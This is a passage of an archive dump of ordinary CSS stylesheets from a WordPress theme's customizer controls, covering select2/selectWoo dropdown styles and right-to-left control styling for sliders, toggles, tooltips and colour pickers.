  border: 1px solid #5897fb; }
  .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow {
    background: transparent;
    border: none; }
    .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b {
      border-color: transparent transparent #888 transparent;
      border-width: 0 4px 5px 4px; }

.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0;
  background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%);
  background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%);
  background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }

.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0;
  background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%);
  background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%);
  background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); }

.select2-container--classic .select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text;
  outline: 0; }
  .select2-container--classic .select2-selection--multiple:focus {
    border: 1px solid #5897fb; }
  .select2-container--classic .select2-selection--multiple .select2-selection__rendered {
    list-style: none;
    margin: 0;
    padding: 0 5px; }
  .select2-container--classic .select2-selection--multiple .select2-selection__clear {
    display: none; }
  .select2-container--classic .select2-selection--multiple .select2-selection__choice {
    background-color: #e4e4e4;
    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;
    float: left;
    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px; }
  .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove {
    color: #888;
    cursor: pointer;
    display: inline-block;
    font-weight: bold;
    margin-right: 2px; }
    .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover {
      color: #555; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  float: right; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  margin-left: 5px;
  margin-right: auto; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove {
  margin-left: 2px;
  margin-right: auto; }

.select2-container--classic.select2-container--open .select2-selection--multiple {
  border: 1px solid #5897fb; }

.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--classic .select2-search--dropdown .select2-search__field {
  border: 1px solid #aaa;
  outline: 0; }

.select2-container--classic .select2-search--inline .select2-search__field {
  outline: 0;
  box-shadow: none; }

.select2-container--classic .select2-dropdown {
  background-color: white;
  border: 1px solid transparent; }

.select2-container--classic .select2-dropdown--above {
  border-bottom: none; }

.select2-container--classic .select2-dropdown--below {
  border-top: none; }

.select2-container--classic .select2-results > .select2-results__options {
  max-height: 200px;
  overflow-y: auto; }

.select2-container--classic .select2-results__option[role=group] {
  padding: 0; }

.select2-container--classic .select2-results__option[aria-disabled=true] {
  color: grey; }

.select2-container--classic .select2-results__option--highlighted[data-selected] {
  background-color: #3875d7;
  color: white; }

.select2-container--classic .select2-results__group {
  cursor: default;
  display: block;
  padding: 6px; }

.select2-container--classic.select2-container--open .select2-dropdown {
  border-color: #5897fb; }
core/custom-controls/assets/css/customize-controls-rtl.css000066600000053123152367043330020153 0ustar00.tooltip-text {
	background-color: #444444;
	border-radius: 4px;
	bottom: 125%;
	-webkit-box-shadow: 0 10px 20px 0px rgba(68, 68, 68, 0.2);
	box-shadow: 0 10px 20px 0px rgba(68, 68, 68, 0.2);
	color: #ffffff;
	right: 4px;
	margin-right: calc(-120px / 2);
	opacity: 0;
	padding: 10px 10px;
	position: absolute;
	text-align: center;
	-webkit-transition: opacity 0.3s;
	transition: opacity 0.3s;
	visibility: hidden;
	width: 120px;
	z-index: 1;
}

.tooltip-text::after {
	border-color: #444444 transparent transparent transparent;
	border-style: solid;
	border-width: 5px;
	content: "";
	right: 50%;
	margin-right: -5px;
	position: absolute;
	top: 100%;
}

/**
 * Background control CSS.
 */
.customize-control-spacious-background .customize-control-content > div {
	margin-bottom: 15px;
}

/**
 * Radio buttonset control CSS.
 */
.customize-control-spacious-buttonset .buttonset {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner {
	-webkit-box-flex: 1;
	-ms-flex: 1;
	flex: 1;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner + .buttonset-inner {
	border-right: 0;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset {
	background: #ebebeb;
	-webkit-box-shadow: inset 0 0 0 1px rgba(68, 68, 68, 0.1);
	box-shadow: inset 0 0 0 1px rgba(68, 68, 68, 0.1);
	color: #444444;
	display: block;
	padding: 5px 12px;
	text-align: center;
	-webkit-transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
	transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset:hover {
	background: #ffffff;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner input {
	display: none;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked + label {
	background: #0073aa;
	color: #ffffff;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked + label:hover {
	background: #0073aa;
	color: #ffffff;
}

.customize-control .actions {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control .actions .button {
	min-height: 34px;
}

.customize-control .actions .button:last-of-type {
	margin-left: 0px;
}

.customize-control-header button.random {
	min-height: 34px;
}

input[type=checkbox]:checked {
	border-radius: 2px;
	-webkit-box-shadow: 0 0 0 1px #0073aa;
	box-shadow: 0 0 0 1px #0073aa;
}

input[type=radio]:checked {
	-webkit-box-shadow: 0 0 0 1px #0073aa;
	box-shadow: 0 0 0 1px #0073aa;
}

input[type=range]:focus {
	outline: none;
}

/**
 * Alpha color control CSS.
 */
.customize-control-spacious-color .customizer-wrapper {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-orient: vertical;
	-webkit-box-direction: normal;
	-ms-flex-direction: column;
	flex-direction: column;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-color .customizer-wrapper .customize-control-title {
	display: block;
	margin: 0 0 8px 0;
}

.wp-picker-container .wp-color-result.button {
	background-color: #ebebeb !important;
	background-image: none !important;
	min-height: 34px;
	border: 1px solid #ebebeb;
}

.wp-picker-container .wp-color-result.button::after {
	border: 1px solid #ebebeb;
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==) !important;
	border-radius: 100%;
	content: "";
	height: 22px;
	right: 5px;
	position: absolute;
	top: 5px;
	width: 22px;
	z-index: 0;
}

.wp-picker-container .wp-color-result.button .wp-color-result-text {
	background: none;
	border: none;
	line-height: 2.15384615;
	padding: 0 6px 0 10px;
}

.wp-picker-container .wp-color-result.button .color-alpha {
	border: 1px solid #ebebeb;
	border-radius: 100% !important;
	height: 22px !important;
	right: 4px !important;
	top: 4px !important;
	width: 22px !important;
	z-index: 1;
}

.wp-picker-container .wp-picker-input-wrap .wp-picker-default {
	min-height: 34px !important;
}

.wp-picker-container .wp-picker-holder {
	-webkit-box-shadow: 0 0px 20px 0px rgba(68, 68, 68, 0.3);
	box-shadow: 0 0px 20px 0px rgba(68, 68, 68, 0.3);
}

.wp-picker-container .iris-picker {
	border-color: #ebebeb;
	margin-bottom: 5px;
}

.wp-picker-container .iris-picker .iris-alpha-slider {
	margin-left: -1px;
}

.customize-control-spacious-divider {
	padding: 0 !important;
}

/**
 * Custom control CSS.
 */
.customize-control-spacious-custom .spacious-custom-info {
	margin-bottom: 15px;
}

.customize-control-spacious-custom .spacious-custom-links li a {
	background: #0073aa;
	display: block;
	text-align: center;
	color: #ffffff;
	padding: 8px 16px;
	text-decoration: none;
}

/**
 * Divider control CSS.
 */
.customize-control-spacious-divider hr {
	margin-top: 10px;
	margin-bottom: 10px;
}

.customize-control-spacious-divider .divider-placement-above + .spacious-control-tooltip {
	top: 30px;
}

/**
 * Editor control CSS.
 */
.customize-control-spacious-editor .wp-editor-tools .wp-editor-container textarea {
	width: 100%;
}

/**
 * Group control CSS.
 */
.customize-control-spacious-group .spacious-group-wrap > .customizer-text {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-group .spacious-group-toggle-icon {
	background: #ebebeb;
	border-radius: 100px;
	color: rgba(68, 68, 68, 0.6);
	cursor: pointer;
	font-size: 20px;
	padding: 5px;
	position: relative;
	left: 0;
	top: 0px;
}

.customize-control-spacious-group .spacious-group-toggle-icon:before {
	content: "\f464";
}

.customize-control-spacious-group .spacious-group-toggle-icon.open {
	background: #0073aa;
	color: #ffffff;
}

.customize-control-spacious-group .spacious-group-toggle-icon.open:before {
	content: "\f158";
}

.customize-control-spacious-group .spacious-group-toggle-icon.toggle-description {
	left: 25px;
}

.customize-control-spacious-group .spacious-field-settings-modal {
	background-color: #ffffff;
	border-radius: 5px;
	-webkit-box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
	box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
	right: 0;
	position: absolute;
	left: 0;
	z-index: 9999;
}

.customize-control-spacious-group .spacious-field-settings-modal:before {
	border: 8px solid transparent;
	border-bottom-color: #ffffff;
	content: "";
	pointer-events: none;
	position: absolute;
	left: 17px;
	top: -15px;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-field-settings-wrap {
	width: 100%;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-tabs,
.customize-control-spacious-group .spacious-field-settings-modal .spacious-tab-content {
	position: relative;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	overflow: hidden;
	padding: 15px 15px 0 15px;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:before, .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:after {
	border-collapse: collapse;
	content: "";
	display: table;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li {
	border: 1px solid rgba(0, 0, 0, 0.1);
	-webkit-box-flex: 1;
	-ms-flex: 1 1 auto;
	flex: 1 1 auto;
	margin: 0;
	padding: 0.5rem 0.5rem;
	text-align: center;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:not(:first-child) {
	border-right-width: 0;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:focus {
	outline-style: none;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active {
	background-color: #289dcc;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active a {
	color: #ffffff;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a {
	color: #555d66;
	text-decoration: none;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a:focus {
	-webkit-box-shadow: none;
	box-shadow: none;
}

.customize-control-spacious-group .spacious-field-settings-modal .customize-control {
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	padding: 20px 15px 0 15px;
}

.customize-control-spacious-group .spacious-field-settings-modal .customize-control:last-child {
	margin-bottom: 15px;
}

/**
 * Heading control CSS.
 */
.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-title {
	color: #444444;
	display: block;
	font-size: 14px;
	line-height: 1.2;
	margin: 0;
}

.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-description {
	margin-top: 10px;
	padding: 0 12px;
}

.tool-tip {
	display: inline-block;
	position: relative;
}

.tool-tip:hover .tooltip-text {
	opacity: 1;
	visibility: visible;
}

#customize-theme-controls .customize-pane-child .accordion-section-content {
	padding: 10px;
}

.customize-control .customize-control-spacious-color {
	padding-bottom: 0;
}

li.customize-control.customize-control-spacious-hidden {
	padding: 0;
}

/**
 * Group control CSS.
 */
.customize-control-spacious-hidden.customize-control {
	margin-top: 0;
}

/**
 * Radio image control CSS.
 */
.customize-control-spacious-radio-image * {
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
}

.customize-control-spacious-radio-image input {
	display: none;
}

.customize-control-spacious-radio-image input:checked + label img {
	background: #0073aa;
}

.customize-control-spacious-radio-image .image {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
}

.customize-control-spacious-radio-image label {
	display: -webkit-inline-box;
	display: -ms-inline-flexbox;
	display: inline-flex;
	margin-top: 10px;
	margin-bottom: 10px;
	position: relative;
	-webkit-box-pack: center;
	-ms-flex-pack: center;
	justify-content: center;
}

.customize-control-spacious-radio-image label > img {
	background: #ebebeb;
	border: 2px solid #ebebeb;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
}

.customize-control-spacious-radio-image .image-col-1:after,
.customize-control-spacious-radio-image .image-col-2:after,
.customize-control-spacious-radio-image .image-col-3:after,
.customize-control-spacious-radio-image .image-col-4:after {
	clear: both;
	content: '';
	display: block;
}

.customize-control-spacious-radio-image .image-col-1 input:checked + label img,
.customize-control-spacious-radio-image .image-col-2 input:checked + label img,
.customize-control-spacious-radio-image .image-col-3 input:checked + label img,
.customize-control-spacious-radio-image .image-col-4 input:checked + label img {
	border: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}

.customize-control-spacious-radio-image .image-col-1 label {
	-ms-flex-preferred-size: 100%;
	flex-basis: 100%;
	-webkit-box-pack: start;
	-ms-flex-pack: start;
	justify-content: flex-start;
}

.customize-control-spacious-radio-image .image-col-1 label > img {
	border: none;
	padding: 15px 15px 0;
	width: 70%;
}

.customize-control-spacious-radio-image .image-col-2 label {
	-ms-flex-preferred-size: calc((100% / 2) - 12px);
	flex-basis: calc((100% / 2) - 12px);
}

.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(odd) {
	margin-left: 10px;
}

.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(even) {
	margin-right: 10px;
}

.customize-control-spacious-radio-image .image-col-2 label > img {
	border: none;
	padding: 12px 12px 0;
	width: 108px;
}

.customize-control-spacious-radio-image .image-col-3 label {
	-ms-flex-preferred-size: calc((100% / 3) - 8px);
	flex-basis: calc((100% / 3) - 8px);
}

.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+1) {
	margin-left: 10px;
}

.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+3) {
	margin-right: 10px;
}

.customize-control-spacious-radio-image .image-col-3 label > img {
	border: none;
	padding: 8px 8px 0;
	width: 75px;
}

.customize-control-spacious-radio-image .image-col-4 label {
	-ms-flex-preferred-size: 25%;
	flex-basis: 25%;
	padding: 6px 15px;
	border: 1px solid #EBEBEB;
}

.customize-control-spacious-radio-image .image-col-4 label:not(:nth-of-type(4n)) {
	border-left-width: 0;
}

.customize-control-spacious-radio-image .image-col-4 label > img {
	border: 0;
}

.customize-control-spacious-radio-image .image-col-4 input:checked + label {
	background: #0073aa;
}

.customize-control-spacious-radio-image label:hover .tooltip-text {
	opacity: 1;
	visibility: visible;
}

.customize-control-spacious-radio-image .tooltip-text {
	bottom: 105%;
	right: 50%;
}

/**
 * Slider control CSS.
 */
.customize-control-spacious-slider .slider-wrapper {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
}

.customize-control-spacious-slider .slider-wrapper input[type=range] {
	-webkit-appearance: none;
	-moz-appearance: none;
	appearance: none;
	background: rgba(0, 0, 0, 0.1);
	cursor: pointer;
	-webkit-box-flex: 1;
	-ms-flex: 1;
	flex: 1;
	height: 5px;
	padding: 0;
	-webkit-transition: background 0.3s;
	transition: background 0.3s;
}

.customize-control-spacious-slider .slider-wrapper input[type=range]::-webkit-slider-thumb {
	-webkit-appearance: none;
	appearance: none;
	background: #289dcc;
	border-radius: 100%;
	height: 16px;
	width: 16px;
}

.customize-control-spacious-slider .slider-wrapper input[type=range]::-moz-range-thumb {
	background: #289dcc;
	border-radius: 100%;
	height: 16px;
	width: 16px;
}

.customize-control-spacious-slider .slider-wrapper input[type=range]::-ms-thumb {
	background: #289dcc;
	border-radius: 100%;
	height: 16px;
	width: 16px;
}

.customize-control-spacious-slider .slider-wrapper .spacious-range-value {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	padding: 0 5px 0 0;
}

.customize-control-spacious-slider .slider-wrapper .spacious-range-value input[type=number] {
	font-size: 12px;
	padding: 3px;
	width: 60px;
}

.customize-control-spacious-slider .slider-wrapper .spacious-range-value .spacious-range-unit {
	padding: 0 5px 0 0;
}

.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset {
	color: rgba(0, 0, 0, 0.3);
	cursor: pointer;
	-webkit-transition: color 0.3s ease-in;
	transition: color 0.3s ease-in;
}

.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset span {
	font-size: 14px;
}

.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:hover, .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:focus {
	color: #289dcc;
}

.customize-control-spacious-slider .slider-wrapper.slider-description .spacious-slider-reset span {
	left: 20px;
}

/**
 * Sortable control CSS.
 */
.customize-control-spacious-sortable ul.ui-sortable {
	cursor: default;
}

.customize-control-spacious-sortable ul.ui-sortable .dashicons-visibility {
	cursor: pointer;
}

.customize-control-spacious-sortable ul.ui-sortable li {
	padding: 5px 10px;
	border: 1px solid #555555;
	background: #ffffff;
	cursor: move;
}

.customize-control-spacious-sortable ul.ui-sortable li .dashicons.dashicons-menu {
	float: left;
}

.customize-control-spacious-sortable ul.ui-sortable li .dashicons.visibility {
	margin-left: 10px;
}

.customize-control-spacious-sortable ul.ui-sortable li.invisible {
	color: #aaaaaa;
	border: 1px dashed #aaaaaa;
}

.customize-control-spacious-sortable ul.ui-sortable li.invisible .dashicons.visibility {
	color: #aaaaaa;
}

/**
 * Switch toggle control CSS.
 */
.customize-control-spacious-toggle {
	display: -webkit-box !important;
	display: -ms-flexbox !important;
	display: flex !important;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-toggle label {
	position: relative;
	display: inline-block;
	width: 30px;
	height: 16px;
	left: 0;
	top: 4px;
}

.customize-control-spacious-toggle label.toggle-description {
	left: 20px;
}

.customize-control-spacious-toggle label input {
	display: none;
}

.customize-control-spacious-toggle label input:checked + .switch:before {
	background: #ffffff;
	border-color: #ffffff;
	right: -6px;
	-webkit-transform: translateX(-20px);
	transform: translateX(-20px);
}

.customize-control-spacious-toggle label input:checked + .switch {
	background-color: #0073aa;
	border-color: #0073aa;
}

.customize-control-spacious-toggle label .switch {
	position: absolute;
	cursor: pointer;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	background: #ffffff;
	border: 2px solid #444444;
	border-radius: 100px;
	-webkit-transition: all ease 0.3s;
	transition: all ease 0.3s;
}

.customize-control-spacious-toggle label .switch:before {
	position: absolute;
	content: '';
	height: 6px;
	width: 6px;
	right: 3px;
	bottom: 1px;
	border: 2px solid #444444;
	background: #444444;
	border-radius: 100%;
	-webkit-transition: all ease 0.3s;
	transition: all ease 0.3s;
}

/**
 * Typography control CSS.
 */
.customize-control-spacious-typography .customize-control-content > div {
	margin-bottom: 15px;
}

.customize-control-spacious-typography .customize-control-content .font-size,
.customize-control-spacious-typography .customize-control-content .line-height,
.customize-control-spacious-typography .customize-control-content .letter-spacing {
	position: relative;
}

.customize-control-spacious-typography .customize-control-content .control-wrap {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
}

.customize-control-spacious-typography .customize-control-content .unit {
	background: #ebebeb;
	border-radius: 2px 0 0 2px;
	font-weight: 500;
	line-height: 34px;
	padding: 0 12px;
	text-transform: uppercase;
}

.customize-control-spacious-typography .customize-control-content .font-style,
.customize-control-spacious-typography .customize-control-content .font-family,
.customize-control-spacious-typography .customize-control-content .font-weight,
.customize-control-spacious-typography .customize-control-content .text-transform {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-typography .customize-control-content .font-style .spacious-field-content,
.customize-control-spacious-typography .customize-control-content .font-family .spacious-field-content,
.customize-control-spacious-typography .customize-control-content .font-weight .spacious-field-content,
.customize-control-spacious-typography .customize-control-content .text-transform .spacious-field-content {
	padding-top: 2px;
	width: 180px;
}

span.select2-container.select2-container--default.select2-container--open {
	z-index: 999999;
}

/**
 * Title control CSS.
 */
.customize-control-spacious-title {
	border-bottom: 1px solid #ebebeb;
	margin-top: 15px;
}

.customize-control-spacious-title:nth-child(2) {
	margin-top: 0;
}

.spacious-title-wrapper {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.spacious-title-wrapper .dashicons-editor-help {
	color: rgba(68, 68, 68, 0.5);
	margin-right: 5px;
}

.spacious-title-wrapper .dashicons-editor-help:hover {
	color: #444444;
}

.spacious-title-wrapper .guide-tutorial > span {
	border-left: 1px solid #eeeeee;
	padding: 0 8px 0 5px;
}

.spacious-title-wrapper .guide-tutorial > span:first-child, .spacious-title-wrapper .guide-tutorial > span:last-of-type {
	border-left: 0;
	padding-left: 0;
}

.spacious-title-wrapper .guide-tutorial > span a {
	font-weight: 500;
	text-decoration: none;
}

.spacious-title-wrapper label.customizer-text {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
}

/**
 * Dimensions control CSS.
 */
.customize-control-spacious-dimensions {
	position: relative;
}

.customize-control-spacious-dimensions .wrapper {
	border: 1px solid rgba(0, 0, 0, 0.1);
	padding: 6px 8px;
}

.customize-control-spacious-dimensions .wrapper .control {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-dimensions .wrapper .control .top, .customize-control-spacious-dimensions .wrapper .control .right, .customize-control-spacious-dimensions .wrapper .control .bottom, .customize-control-spacious-dimensions .wrapper .control .left {
	width: 23%;
}

.customize-control-spacious-dimensions .wrapper .control .top h5, .customize-control-spacious-dimensions .wrapper .control .right h5, .customize-control-spacious-dimensions .wrapper .control .bottom h5, .customize-control-spacious-dimensions .wrapper .control .left h5 {
	margin: 0;
	font-weight: normal;
}

p.upgrade-description {
	margin-top: 10px;
	font-style: italic;
}
core/custom-controls/assets/css/selectWoo.min.css000066600000035434152367043330016224 0ustar00.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:0;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[data-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:0;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;height:1px !important;margin:-1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__placeholder{color:#999;margin-top:5px;float:left}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:0;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default 